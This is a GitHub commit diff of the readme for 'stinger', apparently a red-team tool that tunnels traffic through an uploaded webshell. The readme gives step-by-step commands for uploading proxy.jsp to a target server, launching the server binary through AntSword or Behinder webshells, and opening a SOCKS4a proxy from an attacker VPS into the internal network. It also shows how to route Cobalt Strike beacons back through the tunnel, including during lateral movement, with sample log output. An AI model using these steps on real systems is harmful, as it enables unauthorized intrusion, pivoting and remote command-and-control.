Skip to content

Commit be85373

Browse files
FunnyWolfFunnyWolf
authored
Update readme.md
1 parent 58c3150 commit be85373

File tree

1 file changed

+103
-3
lines changed

1 file changed

+103
-3
lines changed

‎readme.md

+103-3
Original file line numberDiff line numberDiff line change
@@ -13,10 +13,10 @@
1313
## SOCK4代理
1414

1515

16-
* proxy.jsp上传到目标服务器,确保 [http://example.com:8080/proxy.jsp](http://192.168.3.11:8080/proxy.jsp) 可以访问,页面返回 stinger XXX!
16+
* proxy.jsp上传到目标服务器,确保 [http://example.com:8080/proxy.jsp](http://example.com:8080/proxy.jsp) 可以访问,页面返回 stinger XXX!
1717
* 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行```start D:/XXX/stinger_server.exe```启动服务端
1818
> 不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连
19-
* vps执行```./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000```
19+
* vps执行```./stinger_client -w http://example.com:8080/proxy.jsp -l 0.0.0.0 -p 60000```
2020
* 如下输出表示成功
2121
```
2222
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
@@ -45,4 +45,104 @@ root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1
4545
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
4646
```
4747
* 此时已经在vps```127.0.0.1:60000```启动了一个```192.168.3.11```所在内网的**socks4a**代理
48-
* 此时已经将目标服务器的```127.0.0.1:60020```映射到vps
48+
* 此时已经将目标服务器的```127.0.0.1:60020```映射到vps的```127.0.0.1:60020```
49+
50+
## cobalt strike单主机上线
51+
52+
* proxy.jsp上传到目标服务器,确保 [http://example.com:8080/proxy.jsp](http://example.com:8080/proxy.jsp) 可以访问,页面返回 stinger XXX!
53+
* 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行```start D:/XXX/stinger_server.exe```启动服务端
54+
> 不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连
55+
* stinger_client命令行执行```./stinger_client -w http://example.com:8080/proxy.jsp -l 0.0.0.0 -p 60000```
56+
* 如下输出表示成功
57+
```
58+
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
59+
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
60+
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
61+
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
62+
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
63+
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
64+
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
65+
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
66+
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
67+
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
68+
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
69+
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
70+
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
71+
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
72+
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
73+
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
74+
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
75+
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
76+
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
77+
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
78+
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
79+
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
80+
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
81+
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
82+
```
83+
* cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1
84+
* 生成payload,上传到主机运行后即可上线
85+
86+
## cobalt strike多主机上线
87+
88+
* proxy.jsp上传到目标服务器,确保 [http://example.com:8080/proxy.jsp](http://example.com:8080/proxy.jsp) 可以访问,页面返回 stinger XXX!
89+
* 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行```start D:/XXX/stinger_server.exe 192.168.3.11```启动服务端
90+
> 192.168.3.11可以改成0.0.0.0
91+
* stinger_client命令行执行```./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000```
92+
* 如下输出表示成功
93+
```
94+
root@kali:~# ./stinger_client -w http://example.com:8080:8080/proxy.jsp -l 127.0.0.1 -p 60000
95+
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
96+
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
97+
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
98+
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
99+
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
100+
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
101+
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
102+
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
103+
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
104+
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
105+
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
106+
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
107+
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
108+
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
109+
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
110+
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
111+
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
112+
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
113+
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
114+
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
115+
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
116+
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
117+
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
118+
```
119+
* cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11
120+
* 生成payload,上传到主机运行后即可上线
121+
* 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线
122+
123+
124+
# 相关工具
125+
[https://github.com/nccgroup/ABPTTS](https://github.com/nccgroup/ABPTTS)
126+
127+
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
128+
129+
[https://github.com/SECFORCE/Tunna](https://github.com/SECFORCE/Tunna)
130+
131+
# 已测试
132+
## stinger_server\stinger_client
133+
* windows
134+
* linux
135+
## proxy.jsp(x)/php/aspx
136+
* php7.2
137+
* tomcat7.0
138+
* iis8.0
139+
140+
# 更新日志
141+
**2.0**
142+
更新时间: 2019-09-29
143+
* 将socks4代理服务移动到客户端
144+
* 不再支持端口转发功能
145+
146+
**2.1**
147+
更新时间: 2020-01-07
148+
* 支持CS上线功能(即端口映射功能)

0 commit comments

Comments
 (0)